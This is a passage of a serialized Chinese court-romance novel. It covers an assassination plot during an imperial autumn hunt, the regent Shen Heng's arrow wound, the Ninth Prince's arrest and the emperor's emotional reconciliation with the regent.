他往旁边一瞥,发现食盒里还有一个更小的木头盒子。 宋南卿指甲抠住那个盒子的缝隙往上一抬,里面赫然是叠放整齐的几块杏仁酥,与那日他给沈衡的信中画的别无二致。 指甲抠在缝隙中,手指用力到泛白。 【不在身边你也要想着我才行。】 他上次的信,沈衡好像真的有放在心上。 躺在柔软的龙床之上,宋南卿像是一只飘起来的风筝,线拉得太紧,他会觉得自己被控制失去自由,想斩断这根线;线拉得太松他又会觉得无枝可依,无所适从。 被子盖到胸口,宋南卿攥着被角身体蜷缩成一团,在偌大的帝王寝殿内,只占据了一点点的床上位置。 ———— 前方发来战报,突厥答应不再侵犯边界线,回退到自己的国土之内,只是还剩了个尾需要贺西洲交涉,暂时不能班师回朝。 秋高气爽,围猎拉开序幕,森林里的树木已经金黄,这个京郊的皇家围场不朝外开放,今日来的都是高官显贵,还有一些少年郎第一次参加秋猎,摩拳擦掌想要在陛下面前留下好印象。 九王和宋南卿骑在高头大马上各占一方,身后跟着精挑细选的人马。干练合身的骑装穿在身上精气神十足,空气里都弥漫开来硝烟的味道。 “今日秋猎,是展现我朝儿郎身姿的好机会,大家尽管射猎,射中多者,朕重重有赏。”宋南卿的头发高高束起,声音清朗,让在座的人精神为之一振。 九王身后的人都是他的亲信随从,他勾着脚蹬子笑道:“上次马球赛输给陛下,这次臣可要拼尽全力,夺取魁首。” 为了增加围猎的趣味性,春见让人拿了一块木板立在旗帜前,上面每种动物都有对应的分数,越难射中的分数越高,最终分数最高者将会成为本场秋猎的魁首,获得最大奖励。 旗帜飘扬在空中,随着秋风摇动,在旗后面,一匹黑色的汗血宝马正跑动而来,沈衡姗姗来迟,驾马快步而来,走到了宋南卿身边。 马蹄轻甩,鼻子里喷出气来,油光水滑的鬃毛随风飘扬。 “摄政王来迟了。”九王转头看他一眼,像是开玩笑般道。 宋南卿感受到和自己并列的马蹄震动时,地面发出的摇晃,这种摇晃不只是身体,还有他的心脏。 他好多天没有见沈衡了,以至于再次见面时,他不知道应该以何种姿态面对。 他微垂着眼睛,没有朝沈衡方向投出关注,但汗血宝马的存在感很强,沈衡这个人的存在感同样。 上次三人齐聚还是在行宫听戏,那出戏最终没有找出罪魁祸首,只是戏班子班主受到了惩罚,没有供出幕后主使。 最前方坐在马上的三人心思各异,随着宋南卿抬起弓箭射中一只灰兔,整场围猎开始。众人或并行或散开,在划定的森林范围里展开了围猎行动,时不时有射中猎物的惊呼和赞叹声。射中之后的猎物有专人送到一处分别统计,大家卯足了劲想要在这场比赛中拔得头筹。 贾良死后,科举改制进一步推行,今日来的有高官名门之后,也有上次的进士官员,没了那些等级之分和人情世故,众人的唯一目标就是赢。 但他们不知道,这场秋猎的背后孕育着一个巨大的阴谋。 宋南卿又从皮袋里抽出一支箭搭在弓上,他看见了隐藏在树后面的一只狐狸,皮毛颜色极好,冬天拿来做围巾再好不过。 屏息,搭箭,射出,箭射中了狐狸的一条腿,它惊叫着一瘸一拐往深处跑,宋南卿驾马追去,刚想射第二箭,没想到一只锋利的箭矢贯穿了狐狸的脑袋,他晚了一步。 宋南卿朝箭发出的方向看去,坐在马上身影挺拔如松的人,是沈衡。 “适才没看见它腿受伤了,这只算卿卿的。”沈衡道。 宋南卿一手攥着缰绳不语,过了一会儿还是偏过脸说:“不需要你让着我。” 微微扬起的下巴绷起,少年骑在马上动作利落,但当视线和沈衡的交汇,空气中莫名多了几分粘稠。 沈衡定定看了他许久,眸色黑沉,“如果实在不想要,我不会逼迫陛下。”他话说的温和,像是如果宋南卿说不想,他就可以立刻放手。 但宋南卿没看到的眸子里已经尽是晦涩,和那日在沉璧台令人胆颤的样子别无二致,混了琥珀色的眼睛像是那日昏暗的铜镜,倒映出了铺天盖地倾盆而下的大雨,要将眼前的人吞噬殆尽。 秋风萧瑟,卷起落叶,吹起发丝。宋南卿握着缰绳的手指一紧,心尖也随之酸涩。他开口想说什么,但嘴唇动了动,没能发出声音来,只是垂着眼睛看向地面,任由风吹拂在脸上。 马蹄踩踏落叶的声音从背后响起,九王纵马而来,扬起一波砂砾。 两只身形健壮的鹿从宋南卿眼前飞速跑过,九王身后跟着一群人成包围态势追着这两只鹿不停歇。 鹿可是在排行榜上处于分数很高的位置,而且每年秋猎,谁第一个猎到鹿是相当好的兆头。眼前这两只鹿很可能是一对,意义就更不一样了。 面对追捕明明分开跑才是最佳选择,但鹿也有情,违背本性和智慧也不想分开各自逃难。 宋南卿跟九王对视了一眼,很快移开目光。他跟着飞速追鹿而去,对跟在身后的魏进道:“你从后面包抄,若是两只鹿都被九王猎去,那他也太得意了些。” 鹿这种动物只是看起来温顺,这种森林里的野生鹿其实并不,那一对尖利的角就能把人顶到开膛破肚,跑动起来速度也很快,九王等人马踏尘土而去,转眼间背影都快要看不见,也没听见他们有成功的动静。 宋南卿驾马和魏进等人也朝那个方向追去,他在转身离去之前,余光看见沈衡也跟了过来,马蹄溅起一片泥沙。 他们跟着朝丛林深处跑去,这条在地图上看过无数次的路,离最终那个设计好的目的地越来越近。 “这个位置,路狭窄不可并行,且前方不通,是下手的好时机。”凤栖楼私密包厢里,南幸指着地图上画圈的地方对宋南卿说,“只需要把摄政王引过来,剩下的事可以交于臣来办,到时候就说摄政王想趁陛下不注意在围猎时企图弑君,我带人把他于原地诛杀,为保护君上立功。只要他一死,剩下的都由您说了算。” “只是保护陛下的人太多,不利于对摄政王下手,到时候还要请陛下轻装上阵,不给摄政王反抗的机会。” 宋南卿驾着马逐渐赶上了前方的南幸一群人,马蹄跑起,秋风吹过面颊,凉飕飕的感觉和夏天的风不同,森林里灰尘落叶和小虫子,都是诱发过敏的因素,宋南卿抬起手背蹭了蹭面颊,心中默默估算着和目的地的距离。 他们离那条狭窄的道路还有五百米,沈衡跟在他旁侧,单手持弓,左眼闭起瞄准了前方的鹿,手起箭射出,带着破风架势的利箭以肉眼几乎捕捉不到的速度直直朝前方射去,正中一只鹿的心腹之处。 一声动物鸣叫半路戛然而止,大家都被沈衡这招百步穿杨的箭法震惊得合不拢嘴,莫名肃然起敬额头直冒冷汗。 沈衡一手潇洒收弓,面上却没有什么欣喜之色,只是平静对宋南卿说:“另一只让陛下亲手射,不让九王有半点得意可能,别生气了,好不好?” 在场所有人,或与沈衡交好,或者嫉妒有仇,都不得不在心中称赞一句好箭法。 人可以心中所想与面上所表截然相反,鹿却不行。 见自己的伴侣被射杀,另一头鹿眼睛都红了,发了疯一般撂蹄子,地上被刨出两个土坑,它甩开腿就朝沈衡和宋南卿的方向疯狂冲过来,鹿角朝前一副视死如归同归于尽的架势。 “护驾、护驾!”周围人乱作一团,握住缰绳驾马逃开这只疯鹿的袭击。 眼见就要到了这场计划的关键点,怎么能因为一头畜生耽搁了。九王抬起弓,但手因为之前的某些缘由受伤,至今还在发抖,握不住弓,他不得不换了非惯用手射箭,一箭射偏,刺进鹿的眼睛,红色的血从眼眶流出,像是血泪。 顿时,本就疯癫的鹿更是因为疼痛发了狂,不管不顾横冲直撞,因为视线受阻竟然朝着宋南卿奔来。 宋南卿瞪大眼睛驾着马飞奔,一时间慌不择路,或者是因为看了地图上作战计划那个目的地太久,形成了肌肉记忆,他竟朝着那条小路的方向驶去,沈衡伺机而动,全部心思都在那只想要攻击宋南卿的鹿身上,也跟随着朝那个方向移动。 等宋南卿和沈衡终于合力射杀摆平了那只疯鹿,宋南卿才松了一口气,缓过神来发现他和沈衡竟然已经走到了所谓画圈的最终目的地。 狭窄的小路上有一丝诡异的安静,宋南卿的心突然一阵狂跳,他慌忙拉住沈衡的袖子,“走!快走!” 一只利箭冲着沈衡后背心脏的方向直直而来,快的如同灌了风。 那个尖尖的箭头在宋南卿眼睛里慢慢放大,再放大,直到他的眼里除了那个铁做的尖什么都装不下。 莫名其妙,明明是他定好的计划,明明他早就知道这场秋猎死的人会是谁,事到临头,他还是控制不住自己的心。 他修不成一颗无情无欲帝王心,终究是做不成先生期待的那个不需要感情的完美帝王了。 宋南卿猛地抱住沈衡的肩膀朝旁边扑过去,那支利箭堪堪擦过他的鬓边,没有伤害到沈衡。 就在宋南卿露出自嘲又释然的笑时,沈衡反手抱住他往旁边一个用力,力气大到宋南卿觉得自己的骨头都要被捏碎了。 不待他兴师问罪,就听见沈衡在他耳边闷哼一声,一阵血腥味传来。 宋南卿愣愣低头,他背后抱的姿势,正好一低头就看见了从沈衡后背穿出来的那个尖尖的铁箭头。 他满脸都是不可置信。 第62章 第六十二章 你才是我的药 红色的血顺着露出的箭尖往下滴答, 宋南卿抬起手掌一看,满手皆是染血的红。 怎么会这样。 明明他已经帮沈衡躲开那支要他命的箭了,怎么会…… 宋南卿浑身脱力, 余光看见了现在才到达此处的众人, 九王在人群中看向他,微微抬眉眼中有着遗憾和惊讶。 他们说好的是一支射向沈衡的致命毒箭, 一击毙命, 但九王也有自己的考虑。 摄政王死了是不错, 这样宋南卿就没了依仗,往后只能依赖于九王。但如果二人能一同死去, 再把罪名按在那来与他合作的突厥人身上, 他一掌权,全军之力西边灭了突厥,北边收了科尔沁。 他宋南幸, 就是大盛世上最快掌权、拥有最多土地的国君, 也算告慰先王妃的在天之灵。 但没想到只射中了沈衡, 宋南卿还真是命大, 现在那么多人在, 不好下手了,计划只能中断。 西风吹过, 宋南卿扶着沈衡,鬓边被刚刚擦过的箭伤到,鲜红的血顺着发丝留下来, 他也似是没感觉,只是冷静沉下心,冲着急忙过来的魏进使了个眼色。 众人都在关心摄政王伤势,魏进勒停马, 藏在手指间的石子一个用力击打到九王受伤抖动的那只手,原本被握住的剑羽就是宋南卿提前加重过特制给九王准备的,猝不及防被石头击中,他的手指一松,手中箭矢掉落在石头上,发出了金属与坚硬石块撞击的声音。 霎时间,九王身边众人的目光都朝掉落的箭看去。 摔箭为号,一举灭掉皇帝和摄政王。这是心腹才得知的秘密任务,一旦做成,就是拥护新皇即位的从龙之功。 九王的属下们瞬间举起武器朝宋南卿的方向飞奔而去,摄政王受重伤血都流成那样了,毫无还手之力,只剩一个徒有其表的皇帝,况且今天禁军和侍卫都减了一半,宋南卿以为能杀了摄政王自己坐稳江山,没想到螳螂捕蝉,黄雀在后,他们的主子才是算无遗漏的那个。 同一时间,宋南卿飞速扯开衣领,捏着脖子上悬挂的哨子一吹,响声响彻山林。 身着树木林草相同颜色作战服的士兵们训练有素,齐刷刷从树林和石块的掩盖下显出身形,两个呼吸之间,就把九王和一众随从包围在内,人数众多武器优良的队伍早就等候多时,只待九王动手留下把柄,才好一击毙命。 九王早在自己的属下动手的那一刻就觉得不对劲了,他们都像被下了什么蛊一般,突然就不听自己的命令擅自行动。等看到那压迫性十足的士兵身形矫捷把他们包围,长刀架在自己脖子上逼自己下马时,他觉得好像要完了。 螳螂捕蝉,黄雀在后,每个人都以为自己才是那只黄雀,殊不知人外有人,看起来天真单纯的少年帝王,并非表面那么简单。 宋南卿连忙让魏进安排人把沈衡送去营帐内请御医救治,然后垂眼看向被按在地上的南幸。 “陛下,射箭之人抓到了,他刚刚想咬舌自尽,但被奴才拦了下来,他身上有突厥杀手的标志。”魏进上前拱手道。 九王怒目圆睁,带着狠毒的怨恨盯着宋南卿,“听见了吗?突厥之人,与本王无关。” 宋南卿脸庞上还流着未干的鲜血,刚刚情急之下撕开衣袖给沈衡包扎止血,现在袖子有着不规则的毛边。 他蜷起手指摸着破碎的袖子,面无表情道:“是啊,九王怎么可能有谋反杀朕的心思,是身边人胆大妄为蓄意谋反,想也是混入了突厥卧底。” “贺西洲还在突厥未归,恐军中也混入突厥细作,现立刻召回九王军队,和身边亲近之人一并关入诏狱审问,务必查清楚身份。” “还有半块虎符也一并收回,待探查挖出突厥人卧底,再还给九哥也不迟,你说呢?” 宋南卿看向九王,抬手摸了一把鬓角半干的血,逐渐变暗的红色,很像那日沉璧台前种的枫叶。 为了留下突厥人暗杀皇帝和摄政王的线索,九王安排了突厥方留下的合作之人放箭,也是做了最后一层兜底,就算有岔子出现也完全可以推脱责任。 但没想到宋南卿手段那么高明,就等着他自己跳进陷阱中,他现在是骑虎难下。 如果不答应扣押他的人探查,那他就坐实了弑君谋反之名,毕竟身边人真的拔刀朝向宋南卿了。如果答应,他的军队控制权、他的半块虎符、他的身边可用之人都会丧失,他的威信也一并扫地,没有人会再愿意追随他,为他效力了。 他本以为宋南卿是螳螂,他自己是那个背后操控一切的黄雀。 岂料,不管是他自己,还是宋南卿,在他们俩一起合作灭掉摄政王这个计划里,都没有拿出一半真心,都骗了人,都有着自己的谋划和目标。 是他棋差一招,技不如人,无话可说。 九王低头被压下去,一路走一路想,如果摄政王救不过来,宋南卿这招就是一石二鸟,能撼动他地位的人一死一废,至此,前朝留下的权柄都被清除殆尽,留下的就全都是宋南卿自己的势力了。只是有一点他还想不通,手下那么些人为什么背着他会在现在朝宋南卿出手?他的计划中明明没有这一环。 满地石子被士兵的的军靴带起,弹出去滚落很远。 宋南卿翻身下马,脚尖踢开一枚石子,急急忙忙朝营帐跑去。一掀开挡风帘子进去,就闻到了血腥味和浓重的药味。 他连被血弄脏的手都没来得及洗,连忙冲到榻前,膝盖发软靠着榻沿,双手握住沈衡垂在外面的那只手掌。 “陛下,摄政王的箭已经取出来了,万幸没有伤到心脉,但贯穿伤极容易感染,且因此处曾受过旧伤的缘故,更需要小心注意,切不可再受伤。否则,往后可能不能举刀。”御医在一旁颤声说道。 宋南卿面色苍白,原本红润的嘴唇也因为着急起了一层皮,他点点头说知道了,心脏慢慢下沉,重到发酸。 新伤旧伤,都是因为救他才留下的。 之前他说,在北园寺那夜沈衡救他,可能只是一时的情绪占上风,如果有时间考虑,未必不会后悔。现在看来,情绪占了上风的人明明是他自己。 如果后悔,相同危急的情况下,沈衡怎么会第二次做出同样的决定。 宋南卿垂着头坐在床榻边的凳子上,鬓边发丝沾了血已经干成一团,他毫无察觉,只觉得背上的重量有千斤重。 御医已经下去配药,营帐里只有一坐一躺两个人。 宋南卿声音疲惫又沙哑:“为什么要救我,你明知道我是故意的。” 他突然感觉到自己握着的手动了动。 “因为不想你死。”沈衡的声音很轻,带着失血后的有气无力,却每个字都重若千斤砸在了宋南卿心上。原本只是轻握的手张开,和宋南卿的手指十指相扣纠缠在一起。 不知道刚刚御医涂了什么药,苦的宋南卿眼疼,几乎要落下泪来,他不敢去看沈衡的脸,也不敢知道对方对自己是何种看法和表情,只是艰难咽了咽口水湿润干疼的喉咙,“我死了,你不就能顺理成章继承老皇帝的皇位。” 他偏头看向帐篷一侧挂的壁画,是一只搏击长空的雄鹰,鹰爪锋利眼神锐利,是长空之王的样子。 宋南卿突然想起沈衡书房里也挂着一副类似的雄鹰图,盘旋在广阔草原的上空,自由又肆意。但如果草原的雄鹰失去利爪,失去举起武器的可能,他还能叫长空之王吗? 沈衡听他说起皇位继承,手指一顿,眼神暗下来,“你知道了,果然是因为这个…” 宋南卿提高了声音控制不住自己的情绪,腿下的木凳在地上摩擦出一道尖锐的响声。 “你早就知道,你早就知道!”少年滚烫的泪珠从眼下滑落,一颗接一颗如滚珠般掉在沈衡盖的毯子上,“为什么?为什么不早点告诉我。” 为什么非要在我陷入你这个人的怀抱无法自拔的时候,才让我知道一切都建立在命运织就的红线里面,为什么要对我那么好为什么对我予给予求,为什么不能再一次拒绝我,再多一次? 少年大大的眼睛里满是泪光,眼尾上扬泛着红,整个人充满了气愤和埋怨,像是点燃了即将撒手高飞的孔明灯。 沈衡躺在床上偏头望着他,静了一会儿才轻叹一口气:“南卿,我也想多活几年。” 如果早就知道,你的暗杀计划会提前至什么时候呢?感情发展到如今这一步,你还是没有放弃过杀掉我,早点说,在哪个时机说好?哪个才是好时机? 和你在一起的每一天都是好天气,可是每一刻都不是好时机。 宋南卿是沈衡教出的最好的学生,别的不说,心思计谋百转千回,谈笑之间就能玩弄人心,多智近妖的老师教不出一个心思单纯的学生。 如果早就知道沈衡也有继承皇位的可能,怕是日日不得安眠。之前不知道之时就已经谋划盘算了那么多,如果早就知道…… 宋南卿听到他这句话,全身仿佛卸下了力气,像是燃烧完后飞速下降随风飘荡的孔明灯,只留无力。 当然,沈衡也有私心,如果说出口,他们势必就不会像之前那般亲密。 对着他撒娇的宋南卿,一边扯他袖子一边说今晚要陪他睡的宋南卿,一边毫不设防把脸靠在他肩膀上打瞌睡,一边还要嘴里念叨着明天要吃话梅排骨的宋南卿,会对他生气发脾气的鲜活的宋南卿,毫不掩盖对他展示自己心机和阴暗面的宋南卿,都会消失不见。 他只会得到一个前段时间那样对他冷淡、提防、克制,再也回不到过去的宋南卿。 这段感情对他来说是带毒的慢性镇痛药,吃了没那么痛但可能会死的更快,不吃可能不会死但痛彻心扉。 有时候保守秘密的人比一无所知的人要痛苦百倍。 沈衡捂着刚刚包扎好的伤口处咳嗽了几声,乌黑浓密的眉毛皱起。 宋南卿连忙起身仔细观察他的表情扶他的后背,“怎么了,痛吗?” 上次受伤才过去短短几月,现在又新旧之伤交叠,怎么也不会好受。 沈衡声音低哑,气息不稳应道:“痛。” “那、那怎么办,我去叫御医来,你等一下啊!”少年连忙起身要往外跑,额头上有着细碎的汗珠,却被松松握住了手腕。 抬头看去,沈衡的眸子直直盯着他,苍白的嘴唇微微开合,声音直击人心。 “御医没有用,你才是我的药。”—— 作者有话说:会日更到正文完结哦——[猫爪] 第63章 第六十三章 燥的慌 一直被嫌弃被看不起的人, 即使内心始终怀着不服输要向上爬的力量,但一朝被依赖被崇拜,被交付全部心神与信任, 那种满足感与获得感, 这世间没有任何一样东西可以与之相较。 有那么一个人,孩童时期声音稚嫩之时就对他说:“先生是世界上最厉害的人。” 长大后已经能独当一面, 外能拉权臣下马, 内能不怒自威做好紫禁城唯一的主子, 声音也有了少年人独有的清亮,但还是会对他说:“先生是最厉害的人, 我最喜欢先生了。” 真假尚且不论, 但活泼明艳真实可爱的宋南卿,确实点亮了沈衡人生的灯。 十七岁之前的人生,他活下去的目标只有报仇。害了母亲的人, 欺负过他的人, 全都要付出相应的代价。但当老皇帝死在他面前, 曾经让他恨之入骨的三皇子的血溅了他一脸, 他并没有大仇得报的痛快, 只是觉得好没意思。 亲人早就离世,仇人刚刚被斩于自己刀下, 至此,他在这世间最后的一丝联系也被斩断了。 人是由记忆构成,也是由和他人的关系构成, 从紫禁城人人可以欺负的草原质子到位极人臣的摄政王,过渡太快也太急。前者无人接近是因为嫌弃,后者无人接近是因为害怕。 沈衡的时间从宋南卿登基分成了两部分,前部分全是灰暗的、心中燃烧着不熄灭的仇恨之火, 后半部分,全是跪在地上不敢抬头的乌纱帽和畏惧不敢言语的脸。 唯一的不同,是把他视作依靠的宋南卿。 以前觉得世间好没意思,夏天太热,冬天太冷,春天觉困无精神,秋天荒凉太萧瑟。 但有了宋南卿之后,春天可以在紫藤花下扎秋千一起折花插瓶,夏天可以吃冰果喝冷饮听盛夏蝉鸣,秋天有新鲜的果子还可以骑马踏秋,冬天穿斗篷烤火玩雪,栗子红薯埋进余烬中,香甜扑鼻。人世间的体验,所有的正向反馈,全都是宋南卿带来的。 他怎么能放手呢?怎么能因为血缘放手?怎么能因为少年对他变了质的感情放手? 本来毫无留恋的人世间,变得多姿多彩起来,宋南卿的成长和变化成了时间的刻度,那个紫藤花下逐年变化高度的秋千,让春夏秋冬的流传变化,真正在他身上留下了记忆和印记。他也和这个世间,有了真实的联系。 沈衡望着宋南卿有些紧张的脸,重复了一遍:“你就是我的药。” 什么是喜欢,什么是爱,他们这两个小时候没怎么感受到爱的人并不懂,但对方于自己,并不是无聊生活可有可无的调剂,而是彼此人生中不可以缺失的重要一角。 不可缺失到拿命去维护挽回都在所不惜。 宋南卿抿唇不语,端过放在一旁晾凉的药,褐色的液体盛了一小半碗,在他端起来要往沈衡嘴边送的时候,两滴清泪不受控制滑落,滴到了药碗里。 他怔了怔,转过头拿袖子擦掉脸上的泪痕。 他不相信世上有无缘无故的爱,也不相信坚不可摧的爱,不相信话本里那些虚无缥缈的、非他不可的爱情故事,不相信怎么会有人愿意为了所谓情爱放弃生命、放弃手中的一切。 除了真正握在手里的东西,他什么也不相信。 但有时候,一个人越怕什么、越看不起什么,就越渴望拥有什么。这种渴望太强烈,以至于不能忍受有一丝失去的可能,所以干脆就告诉自己,我不想要,也不需要,因为从来没有拥有,也就不会害怕失去。 沈衡给他的越多,他越深陷其中,给皇位、给权势、一步步帮他把朝堂之上的异己全都清除,直到沈衡变成那最后一个。 他从沈衡身上得到的越多,越害怕,因为能保持理智的底线是,他一直在告诉自己,沈衡和他不过是利益交换,他们都是一样理智的人,你不能真的交付全部身心,因为对方也一样。 可是不一样,沈衡不一样,他对自己的好已经超出了宋南卿能接受的范围,再进一步,他就没办法再保持理智的底线。 这道线进了一步又一步,理智早就坍塌,他不过是在硬撑,不过是不断地在对自己的心撒谎,告诉自己不爱他。 可是理智可以对自己说谎,心跳却不能。 在看到沈衡背后那支穿出来的箭时,那一瞬间,什么血缘□□、什么权力纷争皇位高台,通通没有脑中留下任何痕迹,宋南卿脑子里只有一句:你真死了,我怎么活下去? 宋南卿一直缺少安全感,他以为只要稳坐高台,将那些乱臣贼子觊觎他皇位的人通通杀掉,就会觉得安心。 但事实并非如此。 上一次沈衡在李家村昏迷,宋南卿醒来已经是过了很久的事,但这一次,他与那支箭擦肩而过,手心就是刚刚从沈衡伤口处流下来的滚烫的鲜血,不远处就是九王遗憾的眼神。 发现沈衡中箭的那一刻,宋南卿的心像是被人挖走了,胸口处留下了一个往外不断流出血液和灵魂的大洞,没有任何东西可以堵住。 他早就把自己的心脏留在了沈衡的身上,不知道到底是什么时候发生的,只有当生死一刻来临,他的心可能会跟随沈衡一同死去,才能真正发觉到这回事。 他要的安全感,沈衡已经给他了。 知他冷暖,怕他饥寒,能时时察觉自己的情绪,承接自己脾气,能在危险来临前不管不顾挡在自己面前,不管天崩地裂还是海枯石烂,都对自己说:“我会陪着你。” 什么算天崩地裂,知道二人的血缘关系算不算天崩地裂;什么算海枯石烂,一个人在生命的尽头,无论是广阔的大海还是坚不可摧的石头,在他死亡的那一刻这些东西就都成了粉末,这算不算海枯石烂。那么在知晓血缘关系还要爱的人,死亡前一刻还要保护的人,算不算陪他到地老天荒的人。 况且,按沈衡的神通广大和消息灵通程度,他早就知道宋南卿在和九王秘密谋划什么,他没怀疑这是一个陷阱,或者他明知道这是个陷阱,但还是选择挡在了宋南卿身前。 沈衡又何尝不是他宋南卿的药。 这段日子一个人在宫里看着太阳东升,月亮西沉,熙熙攘攘的人群从眼前经过,无一人似沈衡。 难道他要像九王一样,不珍惜王妃只想着打仗夺权,等人死后再不断寻寻觅觅,从万千人身上寻找曾经爱人的影子吗? 沈衡缓缓抬起未受伤一侧的手,轻轻擦去少年不断流出的泪水。 “陛下也不必太感动,我可以躲过那支箭,但我没有,这是我自己的选择。” “如果不受这次伤,你一辈子也想不通,也不会接受。”以身为盾,才能真的给他那层安全感,才能真的让一个不相信爱的人感受到爱。 低沉的声音如同礼佛时响起的宝器乐声,宋南卿把湿润的脸颊挤在他的手心,原本就小巧的脸蛋折叠起来显得更小,他抬起湿亮的眸子,轻声道:“我就知道,你从来不做不利己的事。” “是,还是陛下了解我。”沈衡嘴角微勾,气息一动又低低咳嗽起来。 宋南卿忙起身给他喂了些水,又把手里还温热的药喂他喝下。 沈衡很少有不能动弹等人帮他的时候,宋南卿坐在床边拿帕子擦掉他嘴边漏出来的药汁,手指微颤,“好好躺着别乱动了,要是以后真的不能举刀,还怎么帮我打仗。你知道的,对我无用的人,我都会毫不留情扔掉。” 沈衡躺在枕头上,带着笑意道:“臣遵旨。” 宋南卿拎起被子帮他盖好,一滴泪水坠落,摔在了沈衡的手背上跌成两半。 他转动眼球往上看着帐篷顶平复情绪,红红的眼眶里蓄满了泪水忍住不掉下来,声音却抑制不住哭腔:“我讨厌你。” “我也喜欢你。”沈衡的声音不复平时有力,却平稳坚定,充满真挚的情意。像和煦的风,春天吹在身上是暖洋洋的;像夏天的溪水,沁人心脾;像秋天捧在手里的糖炒栗子,甜又暖心;像冬天温暖的斗篷,柔软又沉甸甸盖在身上往下坠。 宋南卿盯着帐篷顶的花纹,泪水滑过脸颊从下巴滴落,花纹逐渐变得模糊不清、摇摇晃晃。 他啜泣着俯身抱住沈衡,把脸贴在人颈侧哭起来。闷闷的哭声像是压抑了很久,不断涌出的泪水在沈衡颈窝处积了一滩。沾血的袖子上痕迹已干,垂在枕头旁边贴着沈衡的肩膀,黄色的银杏叶花纹被染成暗红,空荡荡的手腕只手可握。 帐篷外大风吹过,吹的树枝树叶都在摇晃,沙砾在空中飞舞扬起。 只有这顶帐篷在狂风中屹立不倒。 ———— 摄政王府,堂屋雕花木门朝一侧打开,下人端着后厨刚做好的菜鱼贯而入,大门一开就感受到里面的温暖。 才刚入冬,府里就放了些银碳烧着,宋南卿说养病的人最忌讳着凉,万一伤上加病就不好了,早早就让烧炭,他是一贯怕冷的,在宫里也要早早就备着冬季的取暖工具。 如今沈衡受伤还未痊愈,他见天往沈府跑,府里一应大小事都快要由他说了算了,前些天说要开地龙,被沈衡好说歹说劝下来了。 黄花梨木的八仙桌上摆着丰富多样的餐食,入冬后京里流行吃锅子,放了枸杞红枣的滋补羊肉锅冒着白白的热气,宋南卿拿着长长的筷子从锅里捞肉吃,蘸着秘制调料一口下去满嘴生香,他眯起眼睛往后仰在靠椅上,感叹一声:“你这里的羊肉就是比宫里好吃。” 沈衡作为草原王,科尔沁最不缺的就是羊,年年送了最新鲜的来,不好吃就怪了。 沈衡瞥了他一眼。 “哎呀,你不能吃这些蘸料,御医说了,饮食清淡为主,这些东西不利于伤口恢复,你只吃肉就行了。”宋南卿白里透红的手指捏着白玉筷子,几乎分辨不出到底哪个才是玉。 宫里新做了几身冬装,豆绿色的锦缎马甲上绣着黄花,边缘还点缀了一圈雪白的毛边,在宋南卿身上衬得他肌肤雪白,仙子一般。 只是仙子也得伺候摄政王大人吃饭。 沈衡伤到的位置虽不致命,但抬胳膊时多少会拉扯到,在又一次筷子上的东西滑落到碗中时,宋南卿抿了抿唇,心酸心疼一起上涌。 他虽然习惯了衣来伸手饭来张口,但扪心自问,如果因为身体原因连这些小事都做不到,肯定会生出“是个废人”的心情。 宋南卿忙抬起袖子,嚷嚷着在他好之前,都由自己亲自伺候沈衡吃饭。 他夹起一筷子羊肉鼓起腮帮子吹了吹,送到沈衡嘴边。 “是不是很好吃!”热气氤氲下,少年的眼睛格外明亮,软软的脸颊塞了肉鼓起来,喂沈衡的同时不忘往自己嘴里塞一口。 大概是一直以来的心结被解开,九王也被他设计关了起来,压力和烦恼消失之后,宋南卿胃口格外好。 他不知道是沈衡府上的厨子做饭本就比宫里做的好吃,还是自己胃口大开,这几日吃什么都觉得好吃的不得了。 又是一筷子羊肉蘸了麻酱腐乳韭菜花入口,宋南卿脸上洋溢着满足快乐,翘起脚贴着沈衡的小腿晃了晃,想再给他喂一口。 沈衡轻轻摇头,意有所指般道:“不吃了,羊肉吃多了容易燥得慌。” 宋南卿抱着碗慢慢抬起头,在一片热气中,眼睛忽闪忽闪,黑白分明的眸子融进了一丝说不清道不明的无辜韵味。 第64章 第六十四章 自己动 沈府一向清净, 比起宫里多了份雅致,晚膳用过之后,宋南卿帮沈衡的伤口换了药。 这次的贯穿伤很深, 虽然表面看起来还好, 但恢复起来没那么快,一举一动都会牵扯到里面的经脉。 白天还好, 一到晚上躺着的时候, 难受的疼痛酸痒从伤口处一起迸发, 让人坐着也不是,躺着也不是, 只有起来活动活动, 才能熬的下去。 一开始宋南卿不知道,他以为沈衡是有什么心事或者是太痛才睡不好躺不下,后来他问了御医知道这是重伤过后不可避免的, 血肉重新生长时就是会酸胀难忍, 让人误以为那不是在生长, 而是在侵占, 所以身体会有幻痛和恐惧。 和血肉模糊的心重新被爱包围修复时会酸是一个道理。 沈衡说过不止一次让宋南卿去别处睡, 在他这里晚上会受影响,睡不好。 但宋南卿没有同意。 如果受伤难受的夜晚, 没有一个人可以感同身受,只靠自己熬过漫漫长夜,那种感觉太凄苦也太可怜了, 他不想让沈衡独自面对,所以找来了很多小玩意儿和沈衡一起玩。 暖黄色的蜡烛点在烛台上,宋南卿穿着贴身的寝衣盘腿坐在小榻上和沈衡下棋。棋还是之前那盘棋,但是下法发生了变化, 这是他从绿芜那儿学来的叫“五子棋”。只要五个相同颜色的棋子连成一排就算胜,比起围棋更简单,不用费脑子,适合拿来纯娱乐和消遣。 沈衡披着外衣,墨发散落,二指夹住白子落下,抬眸看了一眼宋南卿。 “哎呀!你还受着伤呢,那么努力要赢我干什么!小心思考过度伤口恢复变慢。”宋南卿鼓起脸颊不高兴了,斜襟的寝衣扣子系得松散,随着他的动作开了两颗,雪白的肌肤露在外面几寸,他一弯腰就能被对面的人看个彻底。 沈衡抬起没受伤的一侧胳膊,捏住少年撅起的嘴,轻笑道:“一输就不乐意了,多大了还是这个样子。” “从小到大下棋你都没有让着我过!”宋南卿对着人的手指咬了一口,两只胳膊叠起趴在桌上,脸皱成一团,“愿赌服输,你说吧,想要我做什么?” 烛台上的灯微闪,宋南卿已经松开的发丝散在背后,随着动作轻轻摇晃,如绸缎般的发尾扫过细腰,刚刚沐浴过的香气经过屋内热气一激发,让他周围都扩散开一股暖香,白皙的肌肤在灯光下散发出莹白。 沈衡静静望着他,眼神从他的脸扫到脖颈,又重新看向少年的眼睛,“让着你,不高兴的还是你。” 墨色的寝衣宽松,上面的暗纹提花低调又精致,居家装扮的沈衡不似身处官服中凌厉,慵懒随性中却有种漫不经心的掌控感,他单手握拳托着头,半靠在棋盘旁边,衣袖在脸边垂下,不急不缓道:“我想要你做什么,卿卿应该心里清楚。” 直白的话语和颇具暗示性的眼神,让宋南卿一下子就意识到他在说些什么,刚刚在餐桌前说羊肉吃多了身燥时,沈衡看他的眼神就很吓人。 